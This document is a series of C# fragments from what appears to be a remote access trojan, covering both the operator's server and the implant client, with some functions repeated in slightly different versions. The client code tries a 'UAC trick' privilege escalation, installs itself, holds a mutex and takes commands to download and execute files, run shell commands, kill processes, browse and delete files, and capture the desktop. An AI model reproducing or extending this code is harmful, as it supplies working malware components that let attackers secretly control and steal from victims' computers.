public frmShowMessagebox(Client c) { cClient = c; cClient.Value.frmSM = this; InitializeComponent(); }
public frmSystemInformation(Client c) { cClient = c; cClient.Value.frmSI = this; InitializeComponent(); }
public frmRemoteDesktop(Client c) { cClient = c; cClient.Value.frmRDP = this; keepRunning = false; enableMouseInput = false; InitializeComponent(); }
public frmRemoteShell(Client c) { cClient = c; cClient.Value.frmRS = this; InitializeComponent(); txtConsoleOutput.Text = ">> Type 'exit' to close this session" + Environment.NewLine; }
static void ClientState(Server server, Client client, bool connected) { if (connected) { client.Value = new UserState(); //Initialize the UserState so we can store values in there if we need to. new InitializeCommand().Execute(client); //Tell the Client to initialize and send us information. } }
public frmFileManager(Client c) { cClient = c; cClient.Value.frmFM = this; InitializeComponent(); lvwColumnSorter = new ListViewColumnSorter(); lstDirectory.ListViewItemSorter = lvwColumnSorter; }
public frmTaskManager(Client c) { cClient = c; cClient.Value.frmTM = this; InitializeComponent(); lvwColumnSorter = new ListViewColumnSorter(); lstTasks.ListViewItemSorter = lvwColumnSorter; }
private void clientRead(Server server, Client client, IPacket packet) { Type type = packet.GetType(); if (!client.Value.isAuthenticated) { if (type == typeof(Core.Packets.ClientPackets.Initialize)) CommandHandler.HandleInitialize(client, (Core.Packets.ClientPackets.Initialize)packet, this); else return; } if (type == typeof(Core.Packets.ClientPackets.Status)) { CommandHandler.HandleStatus(client, (Core.Packets.ClientPackets.Status)packet, this); } else if (type == typeof(Core.Packets.ClientPackets.UserStatus)) { CommandHandler.HandleUserStatus(client, (Core.Packets.ClientPackets.UserStatus)packet, this); } else if (type == typeof(Core.Packets.ClientPackets.DesktopResponse)) { CommandHandler.HandleRemoteDesktopResponse(client, (Core.Packets.ClientPackets.DesktopResponse)packet); } else if (type == typeof(Core.Packets.ClientPackets.GetProcessesResponse)) { CommandHandler.HandleGetProcessesResponse(client, (Core.Packets.ClientPackets.GetProcessesResponse)packet); } else if (type == typeof(Core.Packets.ClientPackets.DrivesResponse)) { CommandHandler.HandleDrivesResponse(client, (Core.Packets.ClientPackets.DrivesResponse)packet); } else if (type == typeof(Core.Packets.ClientPackets.DirectoryResponse)) { CommandHandler.HandleDirectoryResponse(client, (Core.Packets.ClientPackets.DirectoryResponse)packet); } else if (type == typeof(Core.Packets.ClientPackets.DownloadFileResponse)) { CommandHandler.HandleDownloadFileResponse(client, (Core.Packets.ClientPackets.DownloadFileResponse)packet); } else if (type == typeof(Core.Packets.ClientPackets.GetSystemInfoResponse)) { CommandHandler.HandleGetSystemInfoResponse(client, (Core.Packets.ClientPackets.GetSystemInfoResponse)packet); } else if (type == typeof(Core.Packets.ClientPackets.MonitorsResponse)) { CommandHandler.HandleMonitorsResponse(client, (Core.Packets.ClientPackets.MonitorsResponse)packet); } else if (type == typeof(Core.Packets.ClientPackets.ShellCommandResponse)) { CommandHandler.HandleShellCommandResponse(client, (Core.Packets.ClientPackets.ShellCommandResponse)packet); } }
static void ClientRead(Server server, Client client, IPacket packet) { Type type = packet.GetType(); //Get the packet type so we can determine what to do with it. if (type == typeof(Initialize)) { HandleInitialize((Initialize)packet); //Initialize packet, handle it. } else if (type == typeof(Message)) { HandleMessage((Message)packet); //Message packet, handle it. } }
static void ClientState(Core.Client client, bool connected) { Connected = connected; if (connected && !SystemCore.Disconnect) { Reconnect = true; } else if (!connected && SystemCore.Disconnect) { Reconnect = false; } else { Reconnect = !SystemCore.Disconnect; } }
private void clientState(Server server, Client client, bool connected) { if (connected) { client.Value = new UserState(); // Initialize the UserState so we can store values in there if we need to. new Core.Packets.ServerPackets.InitializeCommand().Execute(client); } else { foreach (ListViewItem lvi in lstClients.Items) if ((Client)lvi.Tag == client) { lvi.Remove(); server.ConnectedClients--; } updateWindowTitle(listenServer.ConnectedClients, lstClients.SelectedItems.Count); } }
private void Process(object s, SocketAsyncEventArgs e) { try { if (e.SocketError == SocketError.Success) { Client T = new Client(this, e.AcceptSocket, BufferSize, PacketTypes.ToArray()); lock (_clients) { if (_clients.Count <= MaxConnections) { _clients.Add(T); T.ClientState += HandleState; T.ClientRead += OnClientRead; T.ClientWrite += OnClientWrite; OnClientState(T, true); } else { T.Disconnect(); } } e.AcceptSocket = null; if (!_handle.AcceptAsync(e)) Process(null, e); } else { Disconnect(); } } catch { Disconnect(); } }
private void OnClientWrite(Client c, IPacket packet, long length, byte[] rawData) { if (ClientWrite != null) { ClientWrite(this, c, packet, length); } }
private void OnClientState(Client c, bool connected) { if (ClientState != null) { ClientState(this, c, connected); } }
private void OnClientRead(Client c, IPacket packet) { if (ClientRead != null) { ClientRead(this, c, packet); } }
private void HandleState(Client s, bool open) { lock (_clients) { _clients.Remove(s); OnClientState(s, false); } }
internal void HandleKeepAlivePacket(KeepAliveResponse packet, Client client) { foreach (KeepAlive keepAlive in _keepAlives) { if (keepAlive.TimeSent == packet.TimeSent && keepAlive.Client == client) { _keepAlives.Remove(keepAlive); break; } } }
static void Initialize() { System.Threading.Thread.Sleep(2000); SystemCore.OperatingSystem = SystemCore.GetOperatingSystem(); SystemCore.MyPath = Application.ExecutablePath; SystemCore.InstallPath = Path.Combine(Settings.DIR, Settings.SUBFOLDER + @"\" + Settings.INSTALLNAME); SystemCore.AccountType = SystemCore.GetAccountType(); SystemCore.InitializeGeoIp(); if (Settings.ENABLEUACESCALATION) { if (SystemCore.TryUacTrick()) SystemCore.Disconnect = true; if (SystemCore.Disconnect) return; } if (!Settings.INSTALL || SystemCore.MyPath == SystemCore.InstallPath) { if (!SystemCore.CreateMutex(ref AppMutex)) SystemCore.Disconnect = true; if (SystemCore.Disconnect) return; new Thread(SystemCore.UserIdleThread).Start(); _Client = new Core.Client(8192); _Client.AddTypesToSerializer(typeof(IPacket), new Type[] { typeof(Core.Packets.ServerPackets.InitializeCommand), typeof(Core.Packets.ServerPackets.Disconnect), typeof(Core.Packets.ServerPackets.Reconnect), typeof(Core.Packets.ServerPackets.Uninstall), typeof(Core.Packets.ServerPackets.DownloadAndExecute), typeof(Core.Packets.ServerPackets.UploadAndExecute), typeof(Core.Packets.ServerPackets.Desktop), typeof(Core.Packets.ServerPackets.GetProcesses), typeof(Core.Packets.ServerPackets.KillProcess), typeof(Core.Packets.ServerPackets.StartProcess), typeof(Core.Packets.ServerPackets.Drives), typeof(Core.Packets.ServerPackets.Directory), typeof(Core.Packets.ServerPackets.DownloadFile), typeof(Core.Packets.ServerPackets.MouseClick), typeof(Core.Packets.ServerPackets.GetSystemInfo), typeof(Core.Packets.ServerPackets.VisitWebsite), typeof(Core.Packets.ServerPackets.ShowMessageBox), typeof(Core.Packets.ServerPackets.Update), typeof(Core.Packets.ServerPackets.Monitors), typeof(Core.Packets.ServerPackets.ShellCommand), typeof(Core.Packets.ServerPackets.Rename), typeof(Core.Packets.ServerPackets.Delete), typeof(Core.Packets.ServerPackets.Action), typeof(Core.Packets.ClientPackets.Initialize), typeof(Core.Packets.ClientPackets.Status), typeof(Core.Packets.ClientPackets.UserStatus), typeof(Core.Packets.ClientPackets.DesktopResponse), typeof(Core.Packets.ClientPackets.GetProcessesResponse), typeof(Core.Packets.ClientPackets.DrivesResponse), typeof(Core.Packets.ClientPackets.DirectoryResponse), typeof(Core.Packets.ClientPackets.DownloadFileResponse), typeof(Core.Packets.ClientPackets.GetSystemInfoResponse), typeof(Core.Packets.ClientPackets.MonitorsResponse), typeof(Core.Packets.ClientPackets.ShellCommandResponse) }); _Client.ClientState += ClientState; _Client.ClientRead += ClientRead; } else { if (!SystemCore.CreateMutex(ref AppMutex)) SystemCore.Disconnect = true; if (SystemCore.Disconnect) return; SystemCore.Install(); } }
static void Initialize() { System.Threading.Thread.Sleep(2000); SystemCore.OperatingSystem = SystemCore.GetOperatingSystem(); SystemCore.MyPath = Application.ExecutablePath; SystemCore.InstallPath = Path.Combine(Settings.DIR, Settings.SUBFOLDER + @"\" + Settings.INSTALLNAME); SystemCore.AccountType = SystemCore.GetAccountType(); SystemCore.InitializeGeoIp(); if (Settings.ENABLEUACESCALATION) { if (SystemCore.TryUacTrick()) { SystemCore.Disconnect = true; } if (SystemCore.Disconnect) { return; } } if (!Settings.INSTALL || SystemCore.MyPath == SystemCore.InstallPath) { if (!SystemCore.CreateMutex(ref AppMutex)) { SystemCore.Disconnect = true; } if (SystemCore.Disconnect) { return; } new Thread(SystemCore.UserIdleThread).Start(); _Client = new Core.Client(8192); _Client.AddTypesToSerializer(typeof(IPacket), new Type[] { typeof(Core.Packets.ServerPackets.InitializeCommand), typeof(Core.Packets.ServerPackets.Disconnect), typeof(Core.Packets.ServerPackets.Reconnect), typeof(Core.Packets.ServerPackets.Uninstall), typeof(Core.Packets.ServerPackets.DownloadAndExecute), typeof(Core.Packets.ServerPackets.Desktop), typeof(Core.Packets.ServerPackets.GetProcesses), typeof(Core.Packets.ServerPackets.KillProcess), typeof(Core.Packets.ServerPackets.StartProcess), typeof(Core.Packets.ServerPackets.Drives), typeof(Core.Packets.ServerPackets.Directory), typeof(Core.Packets.ServerPackets.DownloadFile), typeof(Core.Packets.ServerPackets.MouseClick), typeof(Core.Packets.ServerPackets.GetSystemInfo), typeof(Core.Packets.ServerPackets.VisitWebsite), typeof(Core.Packets.ServerPackets.ShowMessageBox), typeof(Core.Packets.ServerPackets.Update), typeof(Core.Packets.ServerPackets.Monitors), typeof(Core.Packets.ServerPackets.ShellCommand), typeof(Core.Packets.ClientPackets.Initialize), typeof(Core.Packets.ClientPackets.Status), typeof(Core.Packets.ClientPackets.UserStatus), typeof(Core.Packets.ClientPackets.DesktopResponse), typeof(Core.Packets.ClientPackets.GetProcessesResponse), typeof(Core.Packets.ClientPackets.DrivesResponse), typeof(Core.Packets.ClientPackets.DirectoryResponse), typeof(Core.Packets.ClientPackets.DownloadFileResponse), typeof(Core.Packets.ClientPackets.GetSystemInfoResponse), typeof(Core.Packets.ClientPackets.MonitorsResponse), typeof(Core.Packets.ClientPackets.ShellCommandResponse) }); _Client.ClientState += ClientState; _Client.ClientRead += ClientRead; } else { if (!SystemCore.CreateMutex(ref AppMutex)) { SystemCore.Disconnect = true; } if (SystemCore.Disconnect) { return; } SystemCore.Install(); } }
static void ClientRead(Core.Client client, IPacket packet) { Type type = packet.GetType(); if (type == typeof(Core.Packets.ServerPackets.InitializeCommand)) { CommandHandler.HandleInitializeCommand((Core.Packets.ServerPackets.InitializeCommand)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.DownloadAndExecute)) { CommandHandler.HandleDownloadAndExecuteCommand((Core.Packets.ServerPackets.DownloadAndExecute)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.Disconnect)) { SystemCore.Disconnect = true; client.Disconnect(); } else if (type == typeof(Core.Packets.ServerPackets.Reconnect)) { client.Disconnect(); } else if (type == typeof(Core.Packets.ServerPackets.Uninstall)) { CommandHandler.HandleUninstall((Core.Packets.ServerPackets.Uninstall)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.Desktop)) { CommandHandler.HandleRemoteDesktop((Core.Packets.ServerPackets.Desktop)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.GetProcesses)) { CommandHandler.HandleGetProcesses((Core.Packets.ServerPackets.GetProcesses)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.KillProcess)) { CommandHandler.HandleKillProcess((Core.Packets.ServerPackets.KillProcess)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.StartProcess)) { CommandHandler.HandleStartProcess((Core.Packets.ServerPackets.StartProcess)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.Drives)) { CommandHandler.HandleDrives((Core.Packets.ServerPackets.Drives)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.Directory)) { CommandHandler.HandleDirectory((Core.Packets.ServerPackets.Directory)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.DownloadFile)) { CommandHandler.HandleDownloadFile((Core.Packets.ServerPackets.DownloadFile)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.MouseClick)) { CommandHandler.HandleMouseClick((Core.Packets.ServerPackets.MouseClick)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.GetSystemInfo)) { CommandHandler.HandleGetSystemInfo((Core.Packets.ServerPackets.GetSystemInfo)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.VisitWebsite)) { CommandHandler.HandleVisitWebsite((Core.Packets.ServerPackets.VisitWebsite)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.ShowMessageBox)) { CommandHandler.HandleShowMessageBox((Core.Packets.ServerPackets.ShowMessageBox)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.Update)) { CommandHandler.HandleUpdate((Core.Packets.ServerPackets.Update)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.Monitors)) { CommandHandler.HandleMonitors((Core.Packets.ServerPackets.Monitors)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.ShellCommand)) { CommandHandler.HandleShellCommand((Core.Packets.ServerPackets.ShellCommand)packet, client); } }